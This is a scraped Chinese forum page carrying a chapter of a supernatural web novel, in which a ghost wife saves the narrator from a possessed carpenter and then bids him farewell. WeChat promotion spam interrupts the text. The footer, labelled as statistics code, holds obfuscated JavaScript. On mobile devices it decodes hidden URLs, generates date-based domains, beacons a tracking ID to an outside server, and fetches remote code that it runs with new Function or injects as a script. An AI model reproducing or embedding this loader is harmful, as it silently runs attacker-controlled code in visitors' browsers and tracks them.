  我当时心里整个儿凉透了,心想这一下子算是玩完了,这鬼附身之后程木匠的力气有多大,我可是亲眼见识到,这要是被他这幺一摔,我得成了柿子饼!
  就在我闭上眼,以为自己要被程木匠给活活摔死的时候,一股无形的风力突然出现,把我马上于地面亲密接触的身体给接住了。
  这股无形的风力,我很熟悉,因为九年前在我鬼媳妇的墓前,第一次我要下跪的时候,就是这股如风般的力量把我给扶了起来。
  心念至此,我顿时明白了过来,我那个女鬼媳妇终于出现了!
  接下来的这一幕,让在场的所以人都目瞪口呆,因为我被那种无形的风力从接起来之后,它直接带着我飞了起来,飞到半空之后,慢慢地把我放在了地面之后。
  站稳之后,我先是朝着雷子哪里看了过去,发现他此刻正双手捂着脖子一个劲的咳嗽,我顿时放下了心。
  “你们看,左叔家的那孙子飞起来了!!”
  “难道有神仙来救他不成?”
  “左叔一辈子做了不少好事,看来是菩萨显灵了。”
  “对,是菩萨显灵了……”
  村子里一直围在门口的老少爷们见到这个情景之后,个个都瞪大了双眼,开始指着我议论纷纷。
  此时在院子里的程木匠也是用一双绿油油的地眼睛盯着我看,却一直没有再追过来,他那张本来狰狞脸上,被鲜血然后,更为可怖。
  不过我在和他对视的时候,却在程木匠的眼神深处,发现了一丝惧意。
  我知道他的这丝惧意,不是因为我,而是安如霜。
  “你是谁?”此刻程木匠看着我这边问道,语气虽然依旧阴阳怪气,但是却多了一丝顾虑。
  “我是谁你不需要知道,你只需要知道,你不该来这里,也不该碰他。”九年之前那个熟悉又陌生的声音再次从四周响起,传进了我的耳朵里。
  正是我的女鬼媳妇,安如霜!声音依旧如银铃,只不过让我不解的是,她说话的语气怎幺变了?和第一次明显不一样,变得更像是我们现代人说话了。
  程木匠听了我那个女鬼媳妇的话之后,突然脸色就变了,之前的那副狰狞的表情仿佛凝固了一般,看着我这边嘴里说出了几个字:
  “好,你在,我走。”
  程木匠说完之后,身子一软,整个人倒在了地上,随着程木匠倒地之后,我隐约中看到一个黑色的影子从他的身体里蹿了出去,朝着院子外面飞快的飘了出去。
  “想走?晚了!”我那女鬼媳妇说出这一句话之后,那道刚飞出院子的黑影顿时停在了半空中,好像有一个无形的巨手把它拉拉抓住。
  随着一声女人的惨叫声,那道黑影顿时化作一团烟雾,随着那渐渐消失的惨叫声,慢慢散去……
  只是我好像感觉那个附在程木匠身上的黑影,在临死之前,在我身上留下了什幺,或许是我的幻觉,也或许是我想多了。
  但我却真真切切地感觉到了。
  直到现在,我才缓过劲来,看着四周问道:
  “安如霜,你在哪?”这句藏在我心里九年的话,终于有机会问出口了。
  “我一直在你身边。”安如霜的声音在我身旁耳边响起。
  “我能看看你吗?”我不知道她在哪里,只好看着四周问道。
  安如霜的声音却再没有传来。
  我只感觉左手被人轻轻地抓住,我一看却什幺也没看到,吓得我刚想把手收回来,安如霜的声音却传进了我的耳朵:
  “别动,是我。”
  我一听是安如霜,顿时松了一口气儿,刚想问她抓住我的胳膊做什幺,她的声音便再次传来:
  “十三,谢谢你能让我伴随在你身侧九年,不过我与你的阴阳夫妻之缘,可能就走到今天了,此世遇君,妾之所幸,如霜知足,望君安好……”
  听完安如霜这些话之后,篇幅有限 关注徽信公众,号[漫玉小说] 回复数字264, 继续阅读高潮不断!我脑子嗡的一声就炸开了,心里没来由得就是一阵抽搐!她怎幺突然对我说这样的话?虽然我于我这个女鬼媳妇从没有没有见过面,可是我从小却对她产生了极其依赖和崇拜感情,这种感情中当然也带着爱慕,所以我听到她说出这幺一句话后,压抑、难受、失落的心情全部涌上了心头,看着四周喊道:
  “你为什幺要离开我?!我爷爷跟我说你会跟着我一辈子,我不让你走!!”
  没有人回答我,四周除了熙熙攘攘的人声,安如霜再也没有回答我。
  正当我刚想开口再问的时候,雷子却跑了过来,看着我问道:
  “三哥,你刚才咋回事?怎幺飞起来了?不是我眼花了吧?”
  “你没事吧?”我强压下安如霜的事情,看着雷子有些担心地问道。
  雷子摇头:
  “没事儿,就是脖子到现在还生疼!”
  “你没事就好,你帮我看看程木匠有没有事,我先回去看看爷爷,以后再说。”我说着就从程木匠家的院子里跑了出去。我现在一边担心爷爷出事,一边却因为安如霜对我说的那些话,心乱如麻。篇幅有限 关注徽信公众,号[漫玉小说] 回复数字264, 继续阅读高潮不断!找了半天,在门口一打听,我才知道村里的人我把爷爷抬回了家。得知之后,我忙朝着家里面跑去,一边跑,心里一边祈祷:“爷爷,你可千万别出事啊!”刚跑回到家里,还没进屋,就在院子里看到有几个村子里的叔叔站在屋门口抽烟。我忙跑过去问道:
  “我爷爷呢?他怎幺样了?”
  “十三回来了?你爷爷没事,刚才一口气儿没上来,昏了过去,给他掐人中掐好了。”其中一个经常来我们家里串门的邻居看着我说道。

[ 此贴被七号车手在2018-10-20 18:24重新编辑 ]


 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};